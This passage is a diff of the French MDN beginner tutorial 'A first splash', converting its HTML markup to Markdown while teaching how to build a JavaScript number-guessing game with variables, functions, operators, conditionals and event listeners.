translation_of: Learn/JavaScript/First_steps/A_first_splash lastResult.style.backgroundColor='white'; randomNumber=Math.floor(Math.random() * 100) + 1; } -</script> - -</html></pre> - -<p>{{ EmbedLiveSample('Exemple_—_Jeu_Guess_the_number', '100%', 320, "", "", "hide-codepen-jsfiddle") }}</p> - -<p>Essayez de jouer et familiarisez-vous avec ce jeu avant de continuer.</p> - -<p>Imaginons que votre patron vous ait donné le résumé suivant pour créer ce jeu :</p> - -<blockquote> -<p>Je vous demande de créer un jeu simple de devinette de nombre. Le jeu choisit aléatoirement un nombre entre 1 et 100, puis il met le joueur au défi de le deviner en 10 tentatives maxi. À chaque tour, le joueur doit être informé s'il a deviné ou non le bon nombre — si ce n'est pas le cas, le jeu lui indique si son estimation est trop basse ou trop élevée. Le jeu doit également rappeler au joueur les nombres déjà proposés. Le jeu se termine quand le joueur a deviné le nombre mystère, ou s'il a épuisé ses 10 chances. À la fin du jeu, le joueur a la possibilité de débuter une nouvelle partie.</p> -</blockquote> - -<p>La première chose à faire en regardant ce résumé, c'est de le décomposer en tâches simples et codables comme le ferait un programmeur :</p> - -<ol> - <li>Générer un nombre aléatoire entre 1 et 100.</li> - <li>Stocker le nombre de tours déjà joués. Commencer par 1.</li> - <li>Fournir au joueur le moyen de saisir un nombre.</li> - <li>Stocker l'ensemble des propositions de nombres pour que le joueur puisse les consulter.</li> - <li>Vérifier si le nombre saisi par le joueur est correct.</li> - <li>S'il est correct : - <ol> - <li>Afficher un message de félicitations.</li> - <li>Empêcher que le joueur saisisse de nouveau un nombre.</li> - <li>Afficher un contrôle pour que le joueur puisse rejouer.</li> - </ol> - </li> - <li>S'il est faux et que le joueur a encore des tours à jouer : - <ol> - <li>Informer le joueur que sa proposition de nombre est fausse.</li> - <li>Lui permettre d'entrer une nouvelle proposition de nombre.</li> - <li>Incrémenter le nombre de tours de 1.</li> - </ol> - </li> - <li>S'il est faux et que le joueur n'a plus de tours à jouer : - <ol> - <li>Informer le joueur qu'il a perdu et que la partie est finie.</li> - <li>Empêcher que le joueur saisisse de nouveau un nombre.</li> - <li>Afficher un contrôle pour que le joueur puisse rejouer.</li> - </ol> - </li> - <li>Une fois le jeu redémarré, s'assurer que la logique du jeu et l'interface utilisateur sont complètement réinitialisées, puis revenir à l'étape 1.</li> -</ol> - -<p>Voyons maintenant comment nous pouvons transformer ces étapes en code. Nous allons développer cet exemple et explorer les fonctionnalités JavaScript au fur et à mesure.</p> - -<h3 id="Configuration_initiale">Configuration initiale</h3> - -<p>Pour commencer ce didacticiel, faites une copie locale du fichier <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html">number-guessing-game-start.html</a> (à voir <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html">directement ici</a>). Ouvrez-le dans votre éditeur de code et votre navigateur web. Pour l'instant, vous ne verrez qu'un titre, un paragraphe d'instructions et un formulaire pour entrer une estimation, mais le formulaire est pour l'instant inactif.</p> - -<p>L'endroit où nous allons ajouter tout notre code se trouve dans l'élément {{htmlelement ("script")}} au bas du code HTML :</p> - -<pre class="brush: html"><script> +</script> + +</html> +``` + +{{ EmbedLiveSample('Exemple_—_Jeu_Guess_the_number', '100%', 320, "", "", "hide-codepen-jsfiddle") }} + +Essayez de jouer et familiarisez-vous avec ce jeu avant de continuer. + +Imaginons que votre patron vous ait donné le résumé suivant pour créer ce jeu : + +> Je vous demande de créer un jeu simple de devinette de nombre. Le jeu choisit aléatoirement un nombre entre 1 et 100, puis il met le joueur au défi de le deviner en 10 tentatives maxi. À chaque tour, le joueur doit être informé s'il a deviné ou non le bon nombre — si ce n'est pas le cas, le jeu lui indique si son estimation est trop basse ou trop élevée. Le jeu doit également rappeler au joueur les nombres déjà proposés. Le jeu se termine quand le joueur a deviné le nombre mystère, ou s'il a épuisé ses 10 chances. À la fin du jeu, le joueur a la possibilité de débuter une nouvelle partie. + +La première chose à faire en regardant ce résumé, c'est de le décomposer en tâches simples et codables comme le ferait un programmeur : + +1. Générer un nombre aléatoire entre 1 et 100. +2. Stocker le nombre de tours déjà joués. Commencer par 1. +3. Fournir au joueur le moyen de saisir un nombre. +4. Stocker l'ensemble des propositions de nombres pour que le joueur puisse les consulter. +5. Vérifier si le nombre saisi par le joueur est correct. +6. S'il est correct : + + 1. Afficher un message de félicitations. + 2. Empêcher que le joueur saisisse de nouveau un nombre. + 3. Afficher un contrôle pour que le joueur puisse rejouer. + +7. S'il est faux et que le joueur a encore des tours à jouer : + + 1. Informer le joueur que sa proposition de nombre est fausse. + 2. Lui permettre d'entrer une nouvelle proposition de nombre. + 3. Incrémenter le nombre de tours de 1. + +8. S'il est faux et que le joueur n'a plus de tours à jouer : + + 1. Informer le joueur qu'il a perdu et que la partie est finie. + 2. Empêcher que le joueur saisisse de nouveau un nombre. + 3. Afficher un contrôle pour que le joueur puisse rejouer. + +9. Une fois le jeu redémarré, s'assurer que la logique du jeu et l'interface utilisateur sont complètement réinitialisées, puis revenir à l'étape 1. + +Voyons maintenant comment nous pouvons transformer ces étapes en code. Nous allons développer cet exemple et explorer les fonctionnalités JavaScript au fur et à mesure. + +### Configuration initiale + +Pour commencer ce didacticiel, faites une copie locale du fichier [number-guessing-game-start.html](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html) (à voir [directement ici](http://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html)). Ouvrez-le dans votre éditeur de code et votre navigateur web. Pour l'instant, vous ne verrez qu'un titre, un paragraphe d'instructions et un formulaire pour entrer une estimation, mais le formulaire est pour l'instant inactif. + +L'endroit où nous allons ajouter tout notre code se trouve dans l'élément {{htmlelement ("script")}} au bas du code HTML : + +```html +<script> // Votre code JavaScript se place ici -</script> -</pre> +</script> +``` -<h3 id="Ajouter_des_variables_pour_stocker_les_données">Ajouter des variables pour stocker les données</h3> +### Ajouter des variables pour stocker les données -<p>Commençons. Tout d'abord, ajoutez les lignes suivantes dans l'élément {{htmlelement ("script")}} :</p> +Commençons. Tout d'abord, ajoutez les lignes suivantes dans l'élément {{htmlelement ("script")}} : -<pre class="brush: js">let randomNumber = Math.floor(Math.random() * 100) + 1; +```js +let randomNumber = Math.floor(Math.random() * 100) + 1; let guesses = document.querySelector('.guesses'); let lastResult = document.querySelector('.lastResult'); @@ -230,64 +225,70 @@ let guessSubmit = document.querySelector('.guessSubmit'); let guessField = document.querySelector('.guessField'); let guessCount = 1; -let resetButton;</pre> +let resetButton; +``` + +Cette partie de code définit les variables nécessaires au stockage des données que notre programme utilisera. Les variables sont essentiellement des conteneurs de valeurs (tels que des nombres ou des chaînes de texte). Une variable se crée avec le mot-clé `let` suivi du nom de la variable. Vous pouvez ensuite attribuer une valeur à la variable avec le signe égal (`=`) suivi de la valeur que vous voulez lui donner. -<p>Cette partie de code définit les variables nécessaires au stockage des données que notre programme utilisera. Les variables sont essentiellement des conteneurs de valeurs (tels que des nombres ou des chaînes de texte). Une variable se crée avec le mot-clé <code>let</code> suivi du nom de la variable. Vous pouvez ensuite attribuer une valeur à la variable avec le signe égal (<code>=</code>) suivi de la valeur que vous voulez lui donner.</p> +Dans notre exemple : -<p>Dans notre exemple :</p> +- La première variable — `randomNumber` — reçoit le nombre aléatoire entre 1 et 100, calculé en utilisant un algorithme mathématique. +- Les trois variables suivantes sont chacune faite pour stocker une référence aux paragraphes de résultats dans le HTML ; elles sont utilisées pour insérer des valeurs dans les paragraphes plus tard dans le code : -<ul> - <li>La première variable — <code>randomNumber</code> — reçoit le nombre aléatoire entre 1 et 100, calculé en utilisant un algorithme mathématique.</li> - <li>Les trois variables suivantes sont chacune faite pour stocker une référence aux paragraphes de résultats dans le HTML ; elles sont utilisées pour insérer des valeurs dans les paragraphes plus tard dans le code : - <pre class="brush: html"><p class="guesses"></p> -<p class="lastResult"></p> -<p class="lowOrHi"></p></pre> - </li> - <li>Les deux variables suivantes stockent des références au champ de saisie du formulaire et au bouton de soumission ; elles sont utilisées pour écouter l'envoi de la supposition (guess) plus tard. - <pre class="brush: html"><label for="guessField">Enter a guess: </label><input type="text" id="guessField" class="guessField"> -<input type="submit" value="Submit guess" class="guessSubmit"></pre> - </li> - <li>Nos deux dernières variables stockent un nombre de suppositions qui vaut initialement 1 (utilisées pour garder une trace du nombre de suppositions que le joueur a faite) et une référence à un bouton de réinitialisation qui n'existe pas encore.</li> -</ul> + ```html + <p class="guesses"></p> + <p class="lastResult"></p> + <p class="lowOrHi"></p> + ``` -<div class="note"> -<p><strong>Note :</strong> Vous en apprendrez beaucoup plus sur les variables plus tard dans le cours, en commençant par le <a href="/fr/docs/Learn/JavaScript/First_steps/Variables">prochain article</a>.</p> -</div> +- Les deux variables suivantes stockent des références au champ de saisie du formulaire et au bouton de soumission ; elles sont utilisées pour écouter l'envoi de la supposition (guess) plus tard. -<h3 id="Fonctions">Fonctions</h3> + ```html + <label for="guessField">Enter a guess: </label><input type="text" id="guessField" class="guessField"> + <input type="submit" value="Submit guess" class="guessSubmit"> + ``` -<p>Ajoutez maintenant ce qui suit dans votre code JavaScript :</p> +- Nos deux dernières variables stockent un nombre de suppositions qui vaut initialement 1 (utilisées pour garder une trace du nombre de suppositions que le joueur a faite) et une référence à un bouton de réinitialisation qui n'existe pas encore. -<pre class="brush: js">function checkGuess() { +> **Note :** Vous en apprendrez beaucoup plus sur les variables plus tard dans le cours, en commençant par le [prochain article](/fr/docs/Learn/JavaScript/First_steps/Variables). + +### Fonctions + +Ajoutez maintenant ce qui suit dans votre code JavaScript : + +```js +function checkGuess() { alert('Je suis un espace réservé'); -}</pre> +} +``` -<p>Les fonctions sont des blocs de code réutilisables que vous pouvez écrire une fois et exécuter encore et encore, pour éviter de réécrire le même code tout le temps. C'est vraiment utile. Il y a plusieurs façons de définir les fonctions, mais pour l'instant nous allons nous concentrer sur un type simple. Ici, nous avons défini une fonction en utilisant le mot-clé <code>function</code> accompagné de son nom suivi de parenthèses. Ensuite, nous avons mis deux accolades (<code>{ }</code>). Dans ces accolades est placé tout le code à exécuter à chaque appel de la fonction.</p> +Les fonctions sont des blocs de code réutilisables que vous pouvez écrire une fois et exécuter encore et encore, pour éviter de réécrire le même code tout le temps. C'est vraiment utile. Il y a plusieurs façons de définir les fonctions, mais pour l'instant nous allons nous concentrer sur un type simple. Ici, nous avons défini une fonction en utilisant le mot-clé `function` accompagné de son nom suivi de parenthèses. Ensuite, nous avons mis deux accolades (`{ }`). Dans ces accolades est placé tout le code à exécuter à chaque appel de la fonction. -<p>Quand nous voulons exécuter le code, nous saisissons le nom de la fonction suivi des parenthèses.</p> +Quand nous voulons exécuter le code, nous saisissons le nom de la fonction suivi des parenthèses. -<p>Essayez. Enregistrez le code et actualisez la page du navigateur. Puis, allez dans les<a href="/fr/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs"> outils de développement et la console JavaScript </a>et entrez la ligne suivante :</p> +Essayez. Enregistrez le code et actualisez la page du navigateur. Puis, allez dans les[ outils de développement et la console JavaScript ](/fr/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs)et entrez la ligne suivante : -<pre class="brush: js">checkGuess();</pre> +```js +checkGuess(); +``` -<p>Après avoir pressé <kbd>Entrée</kbd> ou <kbd>Retour</kbd>, vous devriez voir apparaître une alerte « Je suis un espace réservé » ; nous avons défini une fonction dans notre code créant une alerte chaque fois que nous l'appelons.</p> +Après avoir pressé <kbd>Entrée</kbd> ou <kbd>Retour</kbd>, vous devriez voir apparaître une alerte « Je suis un espace réservé » ; nous avons défini une fonction dans notre code créant une alerte chaque fois que nous l'appelons. -<div class="note"> -<p><strong>Note :</strong> Vous allez en apprendre beaucoup plus sur les fonctions plus tard dans ce cours.</p> -</div> +> **Note :** Vous allez en apprendre beaucoup plus sur les fonctions plus tard dans ce cours. -<h3 id="Opérateurs">Opérateurs</h3> +### Opérateurs -<p>Les opérateurs en JavaScript nous permettent d'effectuer des tests, de faire des calculs, de joindre des chaînes ensemble et d'autres choses de ce genre.</p> +Les opérateurs en JavaScript nous permettent d'effectuer des tests, de faire des calculs, de joindre des chaînes ensemble et d'autres choses de ce genre. -<p>Si vous ne l'avez pas déjà fait, sauvegardez ce code, actualisez la page affichée dans le navigateur et ouvrez les<a href="/fr/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs"> outils de développement et la console Javascript</a>. Ensuite, vous pouvez saisir les exemples ci‑dessous — saisissez chacun dans les colonnes « Exemple » exactement comme indiqué, en appuyant sur la touche <kbd>Entrée</kbd> du clavier après chacun et regardez le résultat renvoyé. Si vous n'avez pas facilement accès aux outils de développement du navigateur, vous pouvez toujours utiliser la console intégrée ci-dessous :</p> +Si vous ne l'avez pas déjà fait, sauvegardez ce code, actualisez la page affichée dans le navigateur et ouvrez les[ outils de développement et la console Javascript](/fr/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs). Ensuite, vous pouvez saisir les exemples ci‑dessous — saisissez chacun dans les colonnes « Exemple » exactement comme indiqué, en appuyant sur la touche <kbd>Entrée</kbd> du clavier après chacun et regardez le résultat renvoyé. Si vous n'avez pas facilement accès aux outils de développement du navigateur, vous pouvez toujours utiliser la console intégrée ci-dessous : -<pre class="brush: html hidden"><!DOCTYPE html> -<html> - <head> - <meta charset="utf-8"> - <title>Console JavaScript</title> - <style> +```html hidden +<!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>Console JavaScript</title> + <style> * { box-sizing: border-box; } @@ -335,14 +336,14 @@ let resetButton;</pre> clear: both; } - </style> - </head> - <body> + </style> + </head> + <body> - </body> + </body> - <script> + <script> let geval = eval; function createInput() { @@ -351,13 +352,13 @@ let resetButton;</pre> let inputForm = document.createElement('input'); inputDiv.setAttribute('class','input'); - inputPara.textContent = '>'; + inputPara.textContent = '>'; inputDiv.appendChild(inputPara); inputDiv.appendChild(inputForm); document.body.appendChild(inputDiv); inputDiv.focus(); - if (document.querySelectorAll('div').length > 1) { + if (document.querySelectorAll('div').length > 1) { inputForm.focus(); } @@ -387,101 +388,61 @@ let resetButton;</pre> createInput(); - </script> -</html></pre> + </script> +</html> +``` -<p>{{ EmbedLiveSample('Opérateurs', '100%', 300,"", "", "hide-codepen-jsfiddle") }}</p> +{{ EmbedLiveSample('Opérateurs', '100%', 300,"", "", "hide-codepen-jsfiddle") }} -<p>Regardons d'abord les opérateurs arithmétiques, par exemple :</p> +Regardons d'abord les opérateurs arithmétiques, par exemple : -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Operator</th> - <th scope="col">Name</th> - <th scope="col">Example</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>+</code></td> - <td>Addition</td> - <td><code>6 + 9</code></td> - </tr> - <tr> - <td><code>-</code></td> - <td>Soustraction</td> - <td><code>20 - 15</code></td> - </tr> - <tr> - <td><code>*</code></td> - <td>Multiplication</td> - <td><code>3 * 7</code></td> - </tr> - <tr> - <td><code>/</code></td> - <td>Division</td> - <td><code>10 / 5</code></td> - </tr> - </tbody> -</table> +| Operator | Name | Example | +| -------- | -------------- | --------- | +| `+` | Addition | `6 + 9` | +| `-` | Soustraction | `20 - 15` | +| `*` | Multiplication | `3 * 7` | +| `/` | Division | `10 / 5` | -<p>L'opérateur <code>+</code> peut aussi s'utiliser pour unir des chaînes de caractères (en informatique, on dit <em>concaténer</em>). Entrez les lignes suivantes, une par une :</p> +L'opérateur `+` peut aussi s'utiliser pour unir des chaînes de caractères (en informatique, on dit *concaténer*). Entrez les lignes suivantes, une par une : -<pre class="brush: js">let name = 'Bingo'; +```js +let name = 'Bingo'; name; let hello = ' dit bonjour !'; hello; let greeting = name + hello; -greeting;</pre> +greeting; +``` -<p>Des raccourcis d'opérateurs sont également disponibles, appelés <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation">opérateurs d'assignation</a> augmentés. Par exemple, si vous voulez simplement ajouter une nouvelle chaîne de texte à une chaîne existante et renvoyer le résultat, vous pouvez faire :</p> +Des raccourcis d'opérateurs sont également disponibles, appelés [opérateurs d'assignation](/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation) augmentés. Par exemple, si vous voulez simplement ajouter une nouvelle chaîne de texte à une chaîne existante et renvoyer le résultat, vous pouvez faire : -<pre class="brush: js">name += ' dit bonjour !';</pre> +```js +name += ' dit bonjour !'; +``` -<p>Cela équivaut à :</p> +Cela équivaut à : -<pre class="brush: js">name = name + ' dit bonjour !';</pre> +```js +name = name + ' dit bonjour !'; +``` -<p>Lorsque nous exécutons des tests vrai/faux (par exemple, dans des conditions — voir {{anch ("Structures conditionnelles", "ci-dessous")}}, nous utilisons des <a href="/fr/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">opérateurs de comparaison</a>, par exemple :</p> +Lorsque nous exécutons des tests vrai/faux (par exemple, dans des conditions — voir {{anch ("Structures conditionnelles", "ci-dessous")}}, nous utilisons des [opérateurs de comparaison](/fr/docs/Web/JavaScript/Reference/Operators/Comparison_Operators), par exemple : -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Operator</th> - <th scope="col">Name</th> - <th scope="col">Example</th> - </tr> - <tr> - <td><code>===</code></td> - <td>Égalité stricte (est-ce exactement identique ?)</td> - <td><code>5 === 2 + 4</code></td> - </tr> - <tr> - <td><code>!==</code></td> - <td>Non égalité (est-ce différent ?)</td> - <td><code>'Chris' !== 'Ch' + 'ris'</code></td> - </tr> - <tr> - <td><code><</code></td> - <td>Inférieur à</td> - <td><code>10 < 6</code></td> - </tr> - <tr> - <td><code>></code></td> - <td>Supérieur à</td> - <td><code>10 > 20</code></td> - </tr> - </thead> -</table> +| Operator | Name | Example | +| -------- | ----------------------------------------------- | -------------------------- | +| `===` | Égalité stricte (est-ce exactement identique ?) | `5 === 2 + 4` | +| `!==` | Non égalité (est-ce différent ?) | `'Chris' !== 'Ch' + 'ris'` | +| `<` | Inférieur à | `10 < 6` | +| `>` | Supérieur à | `10 > 20` | -<h3 id="Structures_conditionnelles">Structures conditionnelles</h3> +### Structures conditionnelles -<p>Revenons à la fonction <code>checkGuess()</code>. Nous pouvons assurément dire que nous ne souhaitons pas qu'elle renvoie un message d'emplacement réservé. Nous voulons qu'elle vérifie si la supposition du joueur est correcte ou non et qu'elle renvoie une réponse appropriée.</p> +Revenons à la fonction `checkGuess()`. Nous pouvons assurément dire que nous ne souhaitons pas qu'elle renvoie un message d'emplacement réservé. Nous voulons qu'elle vérifie si la supposition du joueur est correcte ou non et qu'elle renvoie une réponse appropriée. -<p>Donc, remplacez l'actuelle fonction <code>checkGuess()</code> par celle-ci :</p> +Donc, remplacez l'actuelle fonction `checkGuess()` par celle-ci : -<pre class="brush: js">function checkGuess(){ +```js +function checkGuess(){ let userGuess = Number(guessField.value); if (guessCount === 1) { guesses.textContent = 'Propositions précédentes : '; @@ -499,9 +460,9 @@ greeting;</pre> } else { lastResult.textContent = 'Faux !'; lastResult.style.backgroundColor = 'red'; - if (userGuess < randomNumber) { + if (userGuess < randomNumber) { lowOrHi.textContent = 'Le nombre saisi est trop petit !'; - } else if (userGuess > randomNumber) { + } else if (userGuess > randomNumber) { lowOrHi.textContent = 'Le nombre saisi est trop grand !'; } } @@ -510,69 +471,73 @@ greeting;</pre> guessField.value = ''; guessField.focus(); } -</pre> +``` + +Pas mal de code — ouf ! Passons en revue chaque section et expliquons ce qu'elle fait. + +- La première ligne de la fonction (ligne 2) déclare une variable nommée `userGuess` et définit sa valeur par celle qui vient d'être saisie dans le champ de texte. Nous faisons passer aussi cette valeur par la méthode `Number()` , juste pour nous assurer que la valeur stockée dans `userGuess` est bien un nombre. +- Ensuite, nous rencontrons notre premier bloc de code conditionnel (lignes 3-5). Il permet d'exécuter des instructions de manière sélective, selon certaines conditions qui sont vraies ou non. Cela ressemble un peu à une fonction, mais ce n'est pas le cas. La forme la plus simple du bloc conditionnel commence par le mot clé `if`, puis parenthèses, puis des accolades `{ }`. + A l'intérieur de ces parenthèses, nous mettons le test. S'il renvoie `true` , nous exécutons le code à l'intérieur des accolades. Sinon, nous ne le faisons pas, et passons au morceau de code suivant. Dans ce cas, le test vérifie si la variable `guessCount` est égale à `1` (c'est-à-dire s'il s'agit de la première supposition du joueur) : + + ```js + guessCount === 1 + ``` -<p>Pas mal de code — ouf ! Passons en revue chaque section et expliquons ce qu'elle fait.</p> + Si c'est le cas, nous faisons en sorte que le texte affiché soit « Propositions précédentes : ». Sinon, nous ne le faisons pas. -<ul> - <li>La première ligne de la fonction (ligne 2) déclare une variable nommée <code>userGuess</code> et définit sa valeur par celle qui vient d'être saisie dans le champ de texte. Nous faisons passer aussi cette valeur par la méthode <code>Number()</code> , juste pour nous assurer que la valeur stockée dans <code>userGuess</code> est bien un nombre.</li> - <li>Ensuite, nous rencontrons notre premier bloc de code conditionnel (lignes 3-5). Il permet d'exécuter des instructions de manière sélective, selon certaines conditions qui sont vraies ou non. Cela ressemble un peu à une fonction, mais ce n'est pas le cas. La forme la plus simple du bloc conditionnel commence par le mot clé <code>if</code>, puis parenthèses, puis des accolades <code>{ }</code>.<br> - A l'intérieur de ces parenthèses, nous mettons le test. S'il renvoie <code>true</code> , nous exécutons le code à l'intérieur des accolades. Sinon, nous ne le faisons pas, et passons au morceau de code suivant. Dans ce cas, le test vérifie si la variable <code>guessCount</code> est égale à <code>1</code> (c'est-à-dire s'il s'agit de la première supposition du joueur) : - <pre class="brush: js">guessCount === 1</pre> - Si c'est le cas, nous faisons en sorte que le texte affiché soit « Propositions précédentes : ». Sinon, nous ne le faisons pas.</li> - <li>La ligne 6 ajoute la valeur courante <code>userGuess</code> à la fin du paragraphe <code>guesses</code> , plus un espace vide de sorte qu'il y aura un espace entre chaque supposition faite.</li> - <li>Le bloc suivant (lignes 8-24) effectue quelques vérifications : - <ul> - <li>Le premier <code>if(){ }</code> vérifie si la supposition de l'utilisateur est égale au nombre aléatoire <code>randomNumber</code> situé en haut de notre code JavaScript. Si c'est le cas, le joueur a deviné correctement et a gagné le jeu, nous affichons donc un message de félicitations d'une belle couleur verte au joueur, effaçons le contenu de la boîte d'information sur la position de l'estimation et exécutons une fonction appelée <code>setGameOver()</code>, dont nous reparlerons plus tard.</li> - <li>Ensuite, nous chaînons un autre test à la fin du précédent avec une structure <code>else if(){ }</code>. Cette structure vérifie si l'utilisateur a épuisé toutes ses tentatives. Si c'est le cas, le programme fait la même chose que dans le bloc précédent, mais avec un message de fin de partie au lieu d'un message de félicitations.</li> - <li>Le dernier bloc chaîné à la fin de ce code (<code>else { }</code>) contient du code qui n'est exécuté que si aucun des deux autres tests n'a renvoyé <em>vrai</em> (c'est-à-dire que le joueur n'a pas deviné juste, mais qu'il lui reste des possibilité de supposition). Dans ce cas, nous lui disons que sa supposition est mauvaise, puis nous effectuons un autre test conditionnel pour vérifier si elle est supérieure ou inférieure à la valeur exacte et affichons un autre message approprié pour indiquer si sa supposition est trop forte ou trop faible.</li> - </ul> - </li> -</ul> +- La ligne 6 ajoute la valeur courante `userGuess` à la fin du paragraphe `guesses` , plus un espace vide de sorte qu'il y aura un espace entre chaque supposition faite. +- Le bloc suivant (lignes 8-24) effectue quelques vérifications : -<ul> - <li>Les trois dernières lignes de la fonction (ligne 26-28) préparent à une nouvelle proposition. Nous ajoutons 1 à la variable <code>guessCount</code> qui décompte les tours (<code>++</code> est une opération d'incrémentation — ajout de 1), puis effaçons le champ texte du formulaire et lui redonnons le focus, pour être prêt pour la saisie suivante.</li> -</ul> + - Le premier `if(){ }` vérifie si la supposition de l'utilisateur est égale au nombre aléatoire `randomNumber` situé en haut de notre code JavaScript. Si c'est le cas, le joueur a deviné correctement et a gagné le jeu, nous affichons donc un message de félicitations d'une belle couleur verte au joueur, effaçons le contenu de la boîte d'information sur la position de l'estimation et exécutons une fonction appelée `setGameOver()`, dont nous reparlerons plus tard. + - Ensuite, nous chaînons un autre test à la fin du précédent avec une structure `else if(){ }`. Cette structure vérifie si l'utilisateur a épuisé toutes ses tentatives. Si c'est le cas, le programme fait la même chose que dans le bloc précédent, mais avec un message de fin de partie au lieu d'un message de félicitations. + - Le dernier bloc chaîné à la fin de ce code (`else { }`) contient du code qui n'est exécuté que si aucun des deux autres tests n'a renvoyé _vrai_ (c'est-à-dire que le joueur n'a pas deviné juste, mais qu'il lui reste des possibilité de supposition). Dans ce cas, nous lui disons que sa supposition est mauvaise, puis nous effectuons un autre test conditionnel pour vérifier si elle est supérieure ou inférieure à la valeur exacte et affichons un autre message approprié pour indiquer si sa supposition est trop forte ou trop faible. -<h3 id="Evénements">Evénements</h3> +<!----> -<p>À ce stade, nous avons bien implémentée la fonction <code>checkGuess()</code>, mais elle ne s'éxecutera pas parce que nous ne l'avons pas encore appelé.<br> - Idéalement, nous voulons l'appeler lorsque le bouton <kbd>Soumettre</kbd> est cliqué, et pour ce faire, nous devons utiliser un événement. Les événements sont des actions qui se produisent dans le navigateur, comme le clic sur un bouton, le chargement d'une page ou la lecture d'une vidéo, en réponse à quoi nous pouvons exécuter des blocs de code. Les constructions qui écoutent l'événement en cours s'appellent des <strong>écouteurs d'événements</strong>, et les blocs de code exécutés en réponse à l'événement déclencheur sont appelés des <strong>gestionnaires d'évenements</strong>.<br> - <br> - Ajoutez la ligne suivante sous l'accolade de fermeture de votre fonction <code>checkGuess()</code> :</p> +- Les trois dernières lignes de la fonction (ligne 26-28) préparent à une nouvelle proposition. Nous ajoutons 1 à la variable `guessCount` qui décompte les tours (`++` est une opération d'incrémentation — ajout de 1), puis effaçons le champ texte du formulaire et lui redonnons le focus, pour être prêt pour la saisie suivante. -<pre class="brush: js">guessSubmit.addEventListener('click', checkGuess);</pre> +### Evénements -<p>Ici, nous ajoutons un écouteur d'événement au bouton <code>guessSubmit</code> . C'est une méthode qui prend deux valeurs d'entrée (appelées arguments) - le type d'événement que nous écoutons (dans ce cas, <code>click</code>) qui est une chaîne de caractères, et le code que nous voulons exécuter quand l'événement se produit (dans ce cas, la fonction <code>checkGuess()</code> — notez que nous n'avons pas besoin de spécifier les parenthèses lors de l'écriture dans {{domxref("EventTarget.addEventListener", "addEventListener()")}}).</p> +À ce stade, nous avons bien implémentée la fonction `checkGuess()`, mais elle ne s'éxecutera pas parce que nous ne l'avons pas encore appelé. +Idéalement, nous voulons l'appeler lorsque le bouton <kbd>Soumettre</kbd> est cliqué, et pour ce faire, nous devons utiliser un événement. Les événements sont des actions qui se produisent dans le navigateur, comme le clic sur un bouton, le chargement d'une page ou la lecture d'une vidéo, en réponse à quoi nous pouvons exécuter des blocs de code. Les constructions qui écoutent l'événement en cours s'appellent des **écouteurs d'événements**, et les blocs de code exécutés en réponse à l'événement déclencheur sont appelés des **gestionnaires d'évenements**. -<p>Essayez d'enregistrer et d'actualiser votre code, votre exemple devrait désormais fonctionner, jusqu'à un certain point. Maintenant, le seul problème est que si vous devinez la bonne réponse ou si vous n'avez plus de tours à jouer, le jeu "va se casser" parce que nous n'avons pas encore implémenté la fonction <code>setGameOver()</code> dont le rôle est de terminer proprement le jeu. Ajoutons maintenant le code manquant pour compléter notre exemple.</p> +Ajoutez la ligne suivante sous l'accolade de fermeture de votre fonction `checkGuess()` : -<h3 id="Finir_les_fonctionnalités_du_jeu">Finir les fonctionnalités du jeu</h3> +```js +guessSubmit.addEventListener('click', checkGuess); +``` -<p>Pour définir la fonction <code>setGameOver()</code> à la fin de notre programme, ajoutez le code ci-dessous tout en bas :</p> +Ici, nous ajoutons un écouteur d'événement au bouton `guessSubmit` . C'est une méthode qui prend deux valeurs d'entrée (appelées arguments) - le type d'événement que nous écoutons (dans ce cas, `click`) qui est une chaîne de caractères, et le code que nous voulons exécuter quand l'événement se produit (dans ce cas, la fonction `checkGuess()` — notez que nous n'avons pas besoin de spécifier les parenthèses lors de l'écriture dans {{domxref("EventTarget.addEventListener", "addEventListener()")}}). -<pre class="brush: js">function setGameOver() { +Essayez d'enregistrer et d'actualiser votre code, votre exemple devrait désormais fonctionner, jusqu'à un certain point. Maintenant, le seul problème est que si vous devinez la bonne réponse ou si vous n'avez plus de tours à jouer, le jeu "va se casser" parce que nous n'avons pas encore implémenté la fonction `setGameOver()` dont le rôle est de terminer proprement le jeu. Ajoutons maintenant le code manquant pour compléter notre exemple. + +### Finir les fonctionnalités du jeu + +Pour définir la fonction `setGameOver()` à la fin de notre programme, ajoutez le code ci-dessous tout en bas : + +```js +function setGameOver() { guessField.disabled = true; guessSubmit.disabled = true; resetButton = document.createElement('button'); resetButton.textContent = 'Start new game'; document.body.appendChild(resetButton); resetButton.addEventListener('click', resetGame); -}</pre> +} +``` -<ul> - <li>Les deux premières lignes désactivent l'entrée de texte et le bouton en définissant leurs propriétés désactivées à <code>true</code>. Ceci est nécessaire, car si nous ne le faisons pas, l'utilisateur pourrait soumettre plus de propositions après la fin du jeu, ce qui gâcherait les choses.</li> - <li>Les trois lignes suivantes génèrent un nouvel {{htmlelement("button")}} élément, avec le libellé "Démarrer une nouvelle partie" et l'ajoute au bas du HTML existant.</li> - <li>La dernière ligne définit un écouteur d'événement sur ce nouveau bouton : un click sur le bouton déclenchera un appel de la fonction <code>resetGame()</code>.</li> -</ul> +- Les deux premières lignes désactivent l'entrée de texte et le bouton en définissant leurs propriétés désactivées à `true`. Ceci est nécessaire, car si nous ne le faisons pas, l'utilisateur pourrait soumettre plus de propositions après la fin du jeu, ce qui gâcherait les choses. +- Les trois lignes suivantes génèrent un nouvel {{htmlelement("button")}} élément, avec le libellé "Démarrer une nouvelle partie" et l'ajoute au bas du HTML existant. +- La dernière ligne définit un écouteur d'événement sur ce nouveau bouton : un click sur le bouton déclenchera un appel de la fonction 